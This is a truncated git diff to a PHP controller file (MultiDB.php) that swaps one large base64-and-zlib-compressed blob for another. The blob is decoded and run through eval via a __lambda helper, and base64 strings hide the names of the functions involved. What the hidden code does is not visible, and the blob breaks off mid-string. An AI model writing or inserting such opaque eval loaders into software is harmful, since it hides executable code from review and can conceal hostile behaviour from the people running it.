017/37//zP/376nufzoBW6X6f3/9X1Lphjk='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/MultiDB.php b/donjo-app/controllers/MultiDB.php index 0d63f5d32..d00a678b1 100644 --- a/donjo-app/controllers/MultiDB.php +++ b/donjo-app/controllers/MultiDB.php @@ -236,7 +236,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtfVtz6kiy7ntH7P/QDxOxZsecMyMJ072Ijn5AGIFkIxYSur5M6GILLAFqcxW/fmdW6Qoq8OrumbPPhNXjWTaoSlVZefkys7L044/0+ss/4fr1S/q+XO9ev/xC/syvX7+Em/Xb5v96afqPYLPevW+S5OV9+4/JPtktH8W/p4v0x0Hibbd///vfv/zyQ97hj//1w+d///n//YCc8uOfeP169ckXm+9tHYtfuqPhr1/IRxWXfejKufnXHz+vz+vz+rz+M68vwcrkQlvZyyNTcKzjRpF6r3YW/0yVJmhNqq7/+Umqz+vz+rw+r8/r8/q8Pq/P6/P6/+36DGd8Xp/X5/V5/edeX3xv+/LTwz/Dl2ATvnz55ZMin9fn9Xl9Xp/X5/WHruYWh8fZRh0sv/4G/0ZPEfckDzaRtkq2ri6m/iqOnJW09ixpL4+0RbCKf6rfN++IiZ+oitYnf0M//d9kSU2Djpb4pL17CFb8IhDiyB2ZZ0cXzyHms205Ckdm5qzNd/iM99ca72XizrX4hYefWQ/0/lmt36F09EfJu2OrKY7FX4pnvwN9CEbkCL24GK87SjLPOqVBJsJzlBjuh3Hv8P6tZ6uJv4b2w3A2H4jW5Fjvf7GAMTx6tsg5ej+bPPa78oCLJm/9k6qLj77ALz2rm8iSkgRCjw9WaiIPkz3MNQ3HJudZvb08WGzCsXacLr8e/LG5g/ntXWF38G1z79lAv6y7d+3Z4YnOK9JH0rs8BHqNtYX8KB8ncyd6Js+WOVkSExg379tAnxHQf6jBc4eRNkrW2Jc/EA2Y3zK0doviucF5c3gWekfX6sYuzPt5lcRPDRrCuqxCpEVBK6RR6gm4vslPnvWwlcdq4ghSBuuyDlYS59mTrTzaJcFIinH9gBeO8O8xhDV6Ab5wybp1gc7iIhwROp8doL+/kvaEV5YifKek8hjnIyE9FuFA3IZWF+mdjwOf76b+yIDfe+/AI7BOGuEb5BMYXxoO+hs5rvEA0N7T5fR5UPJPDGsHzzgtvA7hITpnoK2/FhfySIHxSTA2nCPQEvkS7pNHZN1rPNhdux1z71g4l2PkW+Ye5rkltBnxSD8eZGJDebCHffL0cw35HnhP4QMhwedv8/nDPCR8Jg/34DOOjgXrPVa7QBekBV2DjslNo7ocgWxZwGurhHOsBY8y4SG/jHJ+GWkgBxLn2BNKv3HL/XaaFmsNbbOQ3Juc4XkcnR+sjXVa+Dk/BgLysXSEsS2AznvswwFeC3Vx6Vhhin8HI3Mfwnew7mIwOiHvnD1dVOAZwKPKgqxxVvJJ1wF65nTbAI/wIJc1moUbD5+/Cmvr1TIPq5uS+0fIP+EiWIrvrq0hj5DvfZyT1cVxXI2prq+MoanPjO5Y5yRDHp7MeSw9Ax9NdV0c6qYqacNEhO+m8kCZa4YiapykzA1pOoN+taE0tYzhEvjNgD5m8NnTzOAV6GMKugn/npkG8MhQEXVjG5nwLIOH55mzCPow4X/TnB8MzVTmuqmI5uABxzQ1jZNiAD3NoWTCuktzwxzjOEEniTroJN2EZ+riHJ4ngn6VYIwTGLOhGxp+P4D+cEzAYeZUy2BcZijOlqS/uTzcTWZGosK4n+E+0+Ck55nxEM1MTTQLPcSZ9sxIlVkxF1M050V7HE8MGs7oimU7XcQ+p/MkgfFokhHvRB3mCe0murETDS6OdKOrPNf5eYh8r8I6h4k86F/ajmgGPBGOFodg2Y9koLFncZExQv0JepTy1DfkPa2yC9BGPQRj1PfhBuRIdqxtNBOSYzgaot4+TvX+jupVAz7vQT/At7qog248hLby5iKPrFXQcR